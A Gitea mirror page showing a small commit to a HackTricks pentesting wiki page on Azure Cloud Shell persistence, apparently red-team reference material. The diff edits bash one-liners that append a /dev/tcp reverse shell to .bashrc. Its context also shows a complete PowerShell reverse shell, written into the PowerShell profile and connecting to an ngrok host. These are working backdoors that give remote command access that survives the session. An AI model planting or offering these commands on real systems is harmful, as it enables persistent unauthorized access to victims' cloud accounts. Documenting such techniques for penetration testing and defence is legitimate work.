gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-26 12:51:33 -08:00
Code Issues Packages Projects Releases Wiki Activity

Update az-cloud-shell-persistence.md

Browse Source
This commit is contained in:
Ignacio Dominguez
2025-05-12 21:23:45 +02:00
committed by GitHub
parent 13cd85219b
commit 46317efe3f
1 changed files with 2 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files

4
src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
View File

@@ -12,7 +12,7 @@ Azure Cloud Shell offers command-line access to manage Azure resources with pers
Example backdoor in .bashrc:
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
This backdoor can execute commands even 5 minutes after the cloud shell is finished by the user.
@@ -45,7 +45,7 @@ touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1